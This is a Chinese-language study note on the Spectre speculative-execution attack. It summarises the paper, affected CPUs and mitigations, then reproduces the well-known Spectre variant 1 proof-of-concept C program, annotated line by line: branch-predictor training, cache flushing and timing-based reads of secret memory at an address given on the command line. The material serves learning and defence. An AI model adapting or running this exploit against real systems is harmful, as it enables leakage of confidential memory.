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Spectre Attacks: Exploiting Speculative Execution
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幽灵攻击包括诱使受害者推测地执行在正确的程序执行过程中不会发生的操作，并通过一个侧信道攻击将受害者的机密信息泄露给外界。
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针对于幽灵，虽然某些情况下可以使用临时的针对于特定处理器的特定对策，但是完整的解决方案需要对处理器的设计进行修改，以及对指令集体系结构（ISAs）进行更新，以便硬件架构师和软件开发人员对哪些CPU实现的计算状态允许被泄露有一个共同的理解。
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推测式执行是高速CPU使用的一种技术，目的是通过猜测未来可能的执行路径并提前执行其中的指令来提高性能。尤其是当分支指令依赖的数据值不在cache中，此时需要几百个时钟周期才能够获得。此时CPU将会猜测控制流的方向，保存寄存器状态的一个检查点，然后在猜测的路径上运行程序。
- 尽管推测式执行有可能提高执行效率，但是当分支预测错误时，某些微结构状态已经发生变化，并且没有能够回退到之前的状态
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幽灵可以攻击的处理器：Intel的Ivy Bridge，Haswell，Skylake；AMD Ryzen；ARM的Samsung，Qualcomm
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缓解措施
- 串行化指令
- 编译时插入推测执行阻塞指令（blocking instruction）
- 禁用推测式执行/推测式内存读取
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代码分析
#include <stdio.h> #include <stdlib.h> #include <stdint.h> #ifdef _MSC_VER #include <intrin.h> /* for rdtscp and clflush */ #pragma optimize("gt",on) #else #include <x86intrin.h> /* for rdtscp and clflush */ #endif unsigned int array1_size = 16; uint8_t unused1[64]; uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 }; uint8_t unused2[64]; uint8_t array2[256 * 512]; char *secret = "The Magic Words are Squeamish Ossifrage."; uint8_t temp = 0; void victim_function(size_t x) { //array1_size=16 //x将会是连续固定符合要求的值，然后是一个恶意的地址 //恶意的地址由于分支预测的问题，将会被执行 if (x < array1_size) { //恶意的地址在开始时是按照相对于array1的起始地址给的 //array1[x]的范围仍旧是0-255，将这个值作为索引乘以512，访问array2 temp &= array2[array1[x] * 512]; } } #define CACHE_HIT_THRESHOLD (80) void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) { static int results[256]; int tries, i, j, k, mix_i, junk = 0; size_t training_x, x; register uint64_t time1, time2; volatile uint8_t *addr; for (i = 0; i < 256; i++) //用于纪录探测结果的数组 results[i] = 0; //尝试次数，1000次，最后统计hit/miss的次数 for (tries = 999; tries > 0; tries--) { for (i = 0; i < 256; i++) //清空用于探测的数组在cache中的元素 _mm_clflush(&array2[i * 512]); //array1 size = 16 training_x = tries % array1_size; for (j = 29; j >= 0; j--) { //将array1_size从cache中清除，以减慢victim中分支的执行 _mm_clflush(&array1_size); for (volatile int z = 0; z < 100; z++) {} x = ((j % 6) - 1) & ~0xFFFF; x = (x | (x >> 16)); x = training_x ^ (x & (malicious_x ^ training_x)); //x的结果为,部分满足分支条件，然后使用内核地址访问，此时分支预测器会认为是要执行的，此时就会出现问题 /* 0 0 0 0 0 malicious_x 0 0 0 0 0 malicious_x 0 0 0 0 0 malicious_x 0 0 0 0 0 malicious_x 0 0 0 0 0 malicious_x 1 1 1 1 1 malicious_x 1 1 1 1 1 malicious_x 1 1 1 1 1 malicious_x 1 1 1 1 1 malicious_x 1 1 1 1 1 malicious_x 2 2 2 2 2 malicious_x 2 2 2 2 2 malicious_x 2 2 2 2 2 malicious_x 2 2 2 2 2 malicious_x 2 2 2 2 2 malicious_x ... */ victim_function(x); } //根据cache更改之后的状态统计array2中哪些数据被放入到了cache中 //根据这些数据对应的索引，则可以计算得到实际访问到的内核数据 for (i = 0; i < 256; i++) { //mix_i仍旧是0-255的数字，但是顺序被打乱，防止分支预测影响结果 mix_i = ((i * 167) + 13) & 255; addr = &array2[mix_i * 512]; time1 = __rdtscp((unsigned int*)&junk); junk = *addr; time2 = __rdtscp((unsigned int*)&junk) - time1; //命中，但是当前正确的分支所使用的array1的值也有命中，所以此时需要忽略到这个值 if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size]) results[mix_i]++; } j = k = -1; //寻找results中的最大值和次大值 //最大值意味着hit的次数最多，即可能性最大 for (i = 0; i < 256; i++) { if (j < 0 || results[i] >= results[j]) { k = j; j = i; } else if (k < 0 || results[i] >= results[k]) { k = i; } } //如果最大值比次大值大很多，则意味着会很准确，可以跳出执行 if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0)) break; } results[0] ^= junk; value[0] = (uint8_t)j; score[0] = results[j]; value[1] = (uint8_t)k; score[1] = results[k]; } //malicious 恶意的 int main(int argc, const char **argv) { //将绝对地址转换为相对地址，因为之后是作为array1的索引使用 size_t malicious_x=(size_t)(secret-(char*)array1); int i, score[2], len=40; uint8_t value[2]; for (i = 0; i < sizeof(array2); i++) array2[i] = 1; if (argc == 3) { sscanf(argv[1], "%x", (void**)(&malicious_x)); //将绝对地址转换为相对地址，因为之后是作为array1的索引使用 malicious_x -= (size_t)array1; sscanf(argv[2], "%d", &len); } printf("Reading %d bytes:\n", len); while (--len >= 0) { printf("Reading at malicious_x = %p... ", (void*)malicious_x); readMemoryByte(malicious_x++, value, score); printf("%s: ", (score[0] >= 2*score[1] ? "Success":"Unclear")); printf("0x%02X=%c,score=%d ", value[0], (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]); if (score[1] > 0) printf("(second best: 0x%02X score=%d)", value[1], score[1]); printf("\n"); } return (0); }